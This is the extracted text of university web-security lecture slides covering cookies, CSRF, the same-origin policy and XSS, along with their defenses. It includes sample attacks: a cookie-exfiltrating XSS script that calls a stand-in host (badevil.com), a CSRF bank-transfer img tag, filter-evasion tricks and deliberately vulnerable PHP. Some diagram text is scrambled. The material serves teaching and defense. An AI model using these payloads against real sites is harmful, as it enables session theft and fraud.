CS5331 Lec03
CS5331 Lec03
CS5331 Lecture 3 1
Overview of Web Threats
Web Session
Attacks
Web Session
(HTTP)
Cache, OS, …
CS5331 Lecture 3 2
Web Sessions
CS5331 Lecture 3 3
HTTP: Stateless Protocol
• HTTP Server maintains no information about a connection
• Simple server design
• Better server scalability
• Users need to authenticate to a web application
• But the server cannot remember them
• What will happen if the web application involves multi-step
operations?
• Users need to authenticate in each step.
CS5331 Lecture 3 4
Session ID
• To maintain a session, state must be saved, but HTTP
server is stateless.
• Store states on the client side.
• URL parameter
• http://www.example.com/index.asp?sid=12345
• Cookies
• An HTTP field the browser stores for the server
CS5331 Lecture 3 5
Cookie
Set Cookie: <DATA>
CS5331 Lecture 3 6
Cookie & Usage
• Set by a server, and automatically sent by a browser on
HTTP requests made to the server
• Used for state management (RFC 6265), such as:
• User authentication
• Personalization
• User tracking (using 3rd party cookies)
• JavaScript operations on Cookies:
• Set a cookie:
document.cookie = "name=value; expires=date;"
• Read a cookie: alert(document.cookie)
• Delete a cookie by setting “expires” to date in past: document.cookie =
"name=; expires=Thu, 01-Jan-70;"
CS5331 Lecture 3 7
Origin & In-Scope Cookies
• Origin definition for cookie access is: <domain, path>
• For a secure cookie: + protocol (i.e. HTTPS)
• Domain can be set by server to any domain suffix (super
domain) of the URL’s hostname (again excluding a public
suffix):
• Goal: a server sees cookies in its scope
• Problem: possible multiple in-scope cookies
• Issues:
• Which suffix domains set the sent in-scope cookies?
• Which attributes are then applicable?
CS5331 Lecture 3 8
Cookie Authentication
Browser Web Server Web App
SID=123 Create
Session Id 123
Store Set-Cookie: & Remember
cookie 123 SID=123 it
CS5331 Lecture 3 9
Security Problem of Session ID
• Session ID is an important server state
• Now it has to be pushed to the client side
• Is the browser client inside the boundary of trusted
programs?
• What can happen?
CS5331 Lecture 3 10
Session Cloning
CS5331 Lecture 3 11
Session Cloning
• Attack can change the session ID
• If the new session ID belongs to another user, the attacker
“becomes” the other user.
Set Cookie: sid=1
sid user
Set Cookie: sid=2 1 good
2 evil
Cookie: sid=1
CS5331 Lecture 3 12
Attack Methods
• Edit persistent cookies in local file system
• Firefox: cookies.txt in user profile directory
• Chrome: Chrome/Default/Cookies
• Other ways to change cookies
• Change cookie in browser memory or using developer tools
• Browser itself can be malicious
• Network-level web manipulation proxy
CS5331 Lecture 3 13
Defense
• In general, using input validation, and ensure the integrity of
state data
• Digitally sign or hash the variable using a cryptographic
algorithm
• Stored value: Content+Hash
• Encrypt information in the URL and cookie
• Long and random session ID to prevent collision
• Dynamic session ID, changing from page to page
CS5331 Lecture 3 14
Session Riding
CS5331 Lecture 3 15
Cross-site Request Forgery (CSRF)
Set Cookie: <DATA>
CS5331 Lecture 3 16
CSRF: (1) Basic CSRF (“Session Riding”)
• Attack requirements:
• Client has logged into bobbank's website:
• SID cookie is in the browser state
• The client also visits the web attacker’ site
• Can a malicious site issue a stealthy request (without a user’s
click) to the bank’s website?
• Yes
• Using GET method:
<img src=http://bobbank.com/transfer.php?
recipient=attacker&amount=100>
• Using POST method: see the next slide
CS5331 Lecture 3 17
CSRF: (1) Basic CSRF (“Session Riding”)
Requires click
No clicks
• Possible consequences?
• Transfer credits, account setting change, password reset, user-system
setting change (e.g. DNS setting), …
CS5331 Lecture 3 19
Source: ThreatPost1, ThreatPost2
CSRF: (2) Login CSRF (“Session Feeding”)
Log you into my account…
CS5331 Lecture 3 20
CSRF: (2) Login CSRF (“Session Feeding”)
• Attack requirement:
• Client doesn’t need to log into the server’s website
• Attacker logs in using his own account in his session initialization
step
• Attacker injects his own SID to the target user’s browser,
instead of using/accessing the target user’s SID in the
browser
• Possible consequences?
• Track user’s searches and other online activities
• User adds credit card details (e.g. Paypal-like sites)
CS5331 Lecture 3 21
CSRF: (3) Router-Targeting CSRF
• If a router's administrative interface is not exposed to the internet, is the router
safe?
• An additional fact: many users have home router with a default or no
password
• Can CSRF attack be used to modify a router’s setting,
i.e. changing DNS server for a “pharming” attack?
• “Drive-by Pharming” attack:
• User visits a web attacker’s site
• JavaScript at the site scans home network looking for a router using onerror
event
• JavaScript fingerprints/guesses the router model,
and then uses a default password to log in
• Change DNS server
• CSRF attack on routers: “send-only” access through local network connection is
sufficient to reprogram router
CS5331 Lecture 3 22
CSRF: (3) Router-Targeting CSRF
CS5331 Lecture 3 24
CSRF Defenses:
HTTP Referrer Validation
Idea #2: HTTP Referrer tells you which site the request
was made from
CS5331 Lecture 3 25
CSRF Defenses: HTTP Referrer Validation
• Problems?
– Privacy leaks via Referrer
• Can leak your search terms, favorite sites, etc…
– Referrer headers are stripped off
• By network proxies
• By browser (e.g. HTTPS → HTTP transitions,
<a rel=”noreferrer” href=www.example.com>
• So, they don’t work in some cases…
• Solution:
– New header: HTTP Origin
• Doesn’t contain privacy-sensitive HTTP parameters
Robust Defenses for Cross-Site
CS5331 Lecture 3 Request Forgery 26
CSRF Defenses: Same-Site Cookie
• SameSite: a new cookie attribute to prevent browser from sending
the cookie along with cross-site requests
• Two possible values:
• strict: all cross-site browsing context, even when following a regular link
• lax (default): maintain user's logged-in session after the user arrives
from an external link
• References:
• https://tools.ietf.org/html/draft-west-first-party-cookies-07
• https://www.owasp.org/index.php/SameSite
• Problem?
• Still limited support by browsers
• See https://caniuse.com/#search=samesite
CS5331 Lecture 3 27
Third-party cookies
The scenario of third-party cookie.
Merchant.com DoubleClick.com
ie ith
Page with Image from s t e
e ki
ok w
DoubleClick.com u
q oo
Co age
e
R hC
Im
it
W
Browser
28
CS5331 Lecture 3
The Same Origin Policy
(SOP)
CS5331 Lecture 3 29
Access Control in Browser
• Principals
• Websites, owner of scripts
• Resources
• Cookies
• Display: HTML Document Object Model (DOM)
• Network communication
• Intuitive access control:
• Objects and services of a website can only be accessed by
scripts from the same website
CS5331 Lecture 3 30
Same-Origin Policy (SOP)
• Scripts from one origin can only access objects or services from
the same origin
• How to define origin?
• A Internet host can host several unrelated websites using different
ports
• Origin is defined by protocol, host, and port
• http://www.example.com/app/index.html
Protocol: HTTP
Host: www.example.com
Port: 80
CS5331 Lecture 3 31
SOP Example
Whether scripts on http://www.example.com/app/index.html can access
resource of the following pages?
CS5331 Lecture 3 32
Notes on The Same Origin Policy:
Incoherencies of Its Application
• Incoherencies of SOP application on different web
objects by different browsers
CS5331 Lecture 3 33
Notes on The Same Origin Policy:
Incoherencies of Its Application
CS5331 Lecture 3 36
Notes on The Same Origin Policy:
Relaxing SOP
• Cross-Origin Resource Sharing (CORS):
• Certain cross-domain network requests, notably Ajax requests,
are forbidden by the SOP policy
• CORS allows origin B to give permission to origin A to read
(potentially private) data from origin B
• Access-Control-Allow-Origin (ACAO) header:
• Specifies which origins are allowed
• Wildcard origin (*) for public content:
e.g. a freely-available web font like Google Fonts
• Sample use case: https://cloud.google.com/storage/docs/cross-origin
• Ref: https://www.w3.org/TR/cors/
CS5331 Lecture 3 37
Notes on The Same Origin Policy:
Relaxing SOP
• JSONP (JSON with Padding):
• Deprecated: restricted and unsafe
• Don’t use it. Use CORS instead
• Cross-frame communication channels using
postMessage()
CS5331 Lecture 3 38
Origin checks are often flawed
CS5331 Lecture 3 39
The Postman Always Rings Twice: Attacking and Defending postMessage in HTML5 Websites
Web Attacker
• Strictly weaker than a network attacker
Definition:
• Owns a valid domain, server with an SSL certificate
• Can entice a victim to visit his site
• Say via “Click Here to Get a Free iPad” link
• Or, via an advertisement (no clicks needed)
• Can’t intercept / read traffic for other sites.
• Assumptions:
• Browser Bug-free vs. Browser Buggy!
• Generally, we assume bug-free browsers
• But, let me give you an example of other case…
CS5331 Lecture 3 40
Example: Simple Registration System
• Code example
• http://victim.com/reg.php?name=...
<HTML> <TITLE> Registered </TITLE>
<BODY>
Dear <?php echo $_GET[name] ?>, you have been registered.
</BODY> </HTML>
CS5331 Lecture 3 41
Unexpected Inputs
• What if user inputs HTML tags?
• <font color=“#FF0000”>Michael Tan</font>
<HTML> <TITLE> Registered </TITLE>
<BODY>
Dear <font color=“#FF0000”>Michael Tan</font>, you have been registered.
</BODY> </HTML>
• Or JavaScript?
• <script>alert(“Hi, there”);</script>
<HTML> <TITLE> Registered </TITLE>
<BODY>
Dear <script>alert(“Hi, there”);</script>, you have been registered.
</BODY> </HTML>
CS5331 Lecture 3 42
Cross-site Scripting (XSS)
• Root Cause: Vulnerability of web application, failure in
detecting scripts in inputs
• Now the most common publicly-reported security vulnerability,
surpassing buffer overflow.
• As many as 68% of websites are likely open to XSS attacks
• Affected websites:
• Google, Yahoo!, MySpace, Twitter, and etc. …
CS5331 Lecture 3 43
Cross-site Scripting Attacks (Type I):
Reflected XSS http://bobbank.com
• Non-persistent XSS
in
gs
Lo
(a.k.a., reflected XSS)
D
er
BA
7.
Us
At
ck q=
1.
ta
• Attackers trick users to
’s
ck
at m?
er
er
t th
sts co
click links including
rip i
hi
Sc s w
ta
ja
ue k .
ck
va d
eq an
<html>
Ja on
scripts in parameters to
su
L rr b
’s sp
se
UR se ob
er re
Hello Joe,
r
the vulnerable web
’s
3. ://b
ck r
se
ta ve
ss
at S er
application Your q =
tp
io
U
ht
n
4.
• Web application returns BAD
2. Attacker feeds crafted URL to
pages including user 6. User’s browser sends
malicious script session token to attacker
5. Attacker’s
JavaScript
executes in user’s Cookie=2343cafag43gvs;
browser
Password=hdhkks
CS5331 Lecture 3 44
Cross-site Scripting Attacks (Type I):
Reflected XSS
• Vulnerable bobbank’s PHP script:
<?php echo “Hello Joe, Your q = $_GET['q']";?>
• Issued URL:
http://bobbank.com?q=<script>doXSS()</script>
• Return page contains:
Hello Joe, Your q = <script>doXSS()</script>
• How can an attacker steal cookie?
<script>document.write(’<img src= http://badevil.com:5555?c=’+
escape(document.cookie) + ’ >’);</script>
• Note: cookie needs to be URL-escaped:
• Function escape(): deprecated
• Use newer encodeURI() or encodeURIComponent()
CS5331 Lecture 3 45
Cross-site Scripting Attacks (Type II):
Persistent XSS
• Persistent XSS (a.k.a.,
stored XSS)
• Malicious web client
in
gs
includes scripts in inputs to
7.
Lo
1. Attacker submits
At
tio
t th
er
question containing
ta
qu s
rip i
es
Sc s w
er ew
Us
the vulnerable web
ck
malicious JavaScript
er
ck vi
va d
2.
Ja on
’s
ta r
hi
application
at se
’s sp
ja
U
ck
er re
3.
su
ck r
• Web application stores the
ta ve
se
at er
r ’s
S
scripts on the server
se
4.
ss
io
n
• Web application returns the
6. User’s browser sends
scripts to other users session token to attacker
5. Attacker’s
JavaScript
executes in user’s
browser
CS5331 Lecture 3 46
Cross-site Scripting Attacks (Type III):
DOM-based XSS
• DOM-based XSS
• A user requests a crafted
URL supplied by the
7.
At
in
ta
attacker and containing
gs
’s
ck
Lo
er
er
ck
embedded JavaScript
er
hi
tta
ja
Us
aS i n g
d J ta ds
ck
t
a
ip
de con on
1.
sts
av in
su
• The server’s response
cr
-co ge sp
ue
se
rd pa re
r
q
’s
does not contain the
re
ha th ver
se
L r
ss
wi Ser
UR Use
io
attacker’s script in any
n
4.
3.
form
2. Attacker feeds crafted URL to
• When the user’s browser user
6. User’s browser sends
processes this response, session token to attacker
the script is executed
5. Attacker’s URL is processed by
nonetheless JavaScript, triggering his attack
payload
CS5331 Lecture 3 47
Cross-site Scripting Attacks (III):
DOM-based XSS
• Example: (http://www.webappsec.org/projects/articles/071105.shtml)
http://www.vulnerable.site/welcome.html:
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>
• What if:
• http://www.vulnerable.site/welcome.html?name=<script> alert(document.cookie)</script>
• http://www.vulnerable.site/welcome.html#name=<script>
alert(document.cookie)<script>
CS5331 Lecture 3 48
Cross-site Scripting Attacks (III):
DOM-based XSS (Browser-side)
• Cross-domain Communication
• Example: HTML 5 postMessage
Sender Receiver
facebook.com cnn.com
postMessage
Origin: www.facebook.com
Data: “Chatuser: Joe, Msg: Hi”
Origin: www.evil.com
Data: “Chatuser: Joe, Msg: alert (document.cookie)”
CS5331 Lecture 3 49
Cross-site Scripting Attacks (III):
DOM-based XSS Receiver
facebook.com
• Code/data mixing
……
• Dynamic code evaluation
……
• eval
• DOM methods
eval (.. + event.data);
• Eval also deserializes objects
• JSON
Data: “alert(‘0wned’);”
CS5331 Lecture 3 50
(Optional) Cross-site Scripting Attacks :
Mutation XSS (mXSS)
CS5331 Lecture 3 51
(Optional) Cross-site Scripting Attacks :
mXSS
CS5331 Lecture 3 52
(Optional) Cross-site Scripting Attacks :
mXSS through innerHTML mutation
CS5331 Lecture 3 53
mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML Mutations
Discussion: Different Types of XSS
To distinguish type 1
Type 1- Reflected XSS or type 2, look at Type 2- Persistent XSS
where the server gets
the malicious code.
Parser
Type 3- DOM-based XSS
JS DOM To know whether is
Engine type 3, look at whether
the browser generates
the malicious code
Mutator
Type 3a– Mutation XSS
CS5331 Lecture 3 54
How Can We Defeat XSS Attack?
CS5331 Lecture 3 55
Measure 1: Input validation/filtering
• Two approaches:
• Blacklisting: block known bad values
• Whitelisting: allow only known good values
• Blacklists can be easily bypassed: unsafe!
• Set of “bad/attack” inputs is potentially infinite
• There are too many subtle attack vectors…
• Vary a lot across browsers
• XSS Filter Evasion Cheat Sheet
• HTML5 Security Cheatsheet
• More on this, when you do your assignments!
CS5331 Lecture 3 56
Challenges with Blacklisting:
Ways of Introducing JavaScript
• Inline JavaScript code: within <script></script> blocks
• DOM event handlers as HTML attributes (e.g. onclick)
• The “javascript:” pseudo protocol links
• Inline CSS statements:
• <style> block
• style attributed to HTML elements
• Dynamic JavaScript code evaluation:
• eval()
• String arguments for setTimeout() and setInterval()
• Dynamic CSS statements
• CSSStyleSheet.insertRule() method
CS5331 Lecture 3 57
Challenges with Blacklisting:
Other Challenges
• Other challenges:
• Various character encodings accepted by browsers
• Browsers’ self-fixing of broken pages
• Good example (Samy worm on MySpace):
• Read http://samy.pl/popular/tech.html
• MySpace didn’t allow <script>:
• Use <div style="background:url
('javascript:alert(1)')">
CS5331 Lecture 3 58
Challenges with Blacklisting:
Other Challenges
• MySpace stripped out the word "javascript“:
• Some browsers actually interpreted "java\nscript" as
"javascript“
• Myspace stripped out the word "innerHTML":
• Use eval():
alert(eval('document.body.inne' + 'rHTML'));
• Myspace stripped out the word "onreadystatechange“:
• Use eval('xmlhttp.onread' + 'ystatechange =
callback');
CS5331 Lecture 3 59
Whitelisting
• Use whitelisting on unstrusted inputs, only allowing “good”
valudes
• Example: PHP
• preg_match()
• filter_var() and pre-defined filters:
• FILTER_VALIDATE_EMAIL
• FILTER_VALIDATE_IP
• FILTER_VALIDATE_URL
CS5331 Lecture 3 60
Measure 2:
Input Sanitization/Escaping/Encoding
• Escape untrusted input so that it won’t be treated as a code
• Use HTML encoding to prevent reflected XSS:
• Escape < into <
• The script will be shown as text in the browser
• Example: PHP
• htmlspecialchars()
• magic_quotes_gpc setting: sets the magic_quotes state
for GPC (Get/Post/Cookie) operations (deprecated)
• Other: HTMLPurifier, an HTML filtering library
CS5331 Lecture 3 61
Browser-side Filtering (e.g. XSS Auditor)
Another idea:
- In Type I attacks, injected scripts appear in web requests
<html>
Hello Joe,
Your q = BAD
http://bobbank.com?q= BAD
Match content in
HTTP request ‘n response
CS5331 Lecture 3 62
XSS Auditor: Regular Expressions Considered Harmful in Client-side XSS filters
Browser-side Filtering (e.g. XSS Auditor)
Another idea:
- Browser-side Filtering (e.g. XSS Auditor)
CS5331 Lecture 3 63
XSS Auditor: Regular Expressions Considered Harmful in Client-side XSS filters
When to match?
Another idea:
- Better to do the matching after parsing
CS5331 Lecture 3 64
XSS Auditor: Regular Expressions Considered Harmful in Client-side XSS filters
Measure 3: Use of a more specific and less powerful
JavaScript API/operations
• A preferred defense!
• Vulnerable server uses a powerful operation:
it allows the injected script to appear at any point in HTML, and get
executed by target browser
• The same problem with innerHTML :
document.getElementById(“query").innerHTML =
user_string;
• To insert untrusted text, use the innerText:
• Use createElement to create an HTML tag
• Use innerText on each text input
• The argument is only used as text
CS5331 Lecture 3 65
Measure 4: Other Extra Measures
CS5331 Lecture 3 66
Content Security Policy (CSP)
• XSS main problem: browser’s inability to distinguish:
• script that’s intended to be part of a page, and
• script that’s been maliciously injected by an attacker
• One solution:
don’t blindly trust everything that a server delivers
• How/mechanism?
CSP: an HTTP header that provides a whitelist of the sources of trusted content,
and instructs the browser to only execute or render resources from those sources
• Default (no specified) policy for a directive: open (*)
• A default-allow policy approach
• Read: https://www.html5rocks.com/en/tutorials/security/content-security-policy/
CS5331 Lecture 3 67
CSP
CS5331 Lecture 3 68
CSP
Disallowed Allowed
CS5331 Lecture 3 69
XSS Defenses: Better Privilege Separation & Sandboxing
Runs in a
“temporary origin”
(HTML5 sandbox)
Can’t execute any script
(CSP);
Should be a few lines of
code
CS5331 Lecture 3 70
Client-side code Privilege Separation in HTML5 Applications
XSS Defenses:
HTML5 Iframe Sandbox
• Begin by removing all permissions possible:
• An empty sandbox attribute (<iframe sandbox
src="..."> </iframe>): iframe has a unique origin
and will be fully sandboxed (no scripts, no forms, …)
• Turn individual capabilities back by adding specific
flags to the sandbox’s configuration:
allow-forms, allow-popups, allow-same-origin,
allow-scripts, allow-top-navigation
• A default-deny policy approach
Refs: https://www.html5rocks.com/en/tutorials/security/sandboxed-iframes/
https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe
CS5331 Lecture 3 71
Summary
• Web session and cookie
• Session cloning
• Session riding/Cross-site request forgery (CSRF)
• Same-Origin Policy (SOP)
• Cross-site Scripting (XSS) and defense
CS5331 Lecture 3 72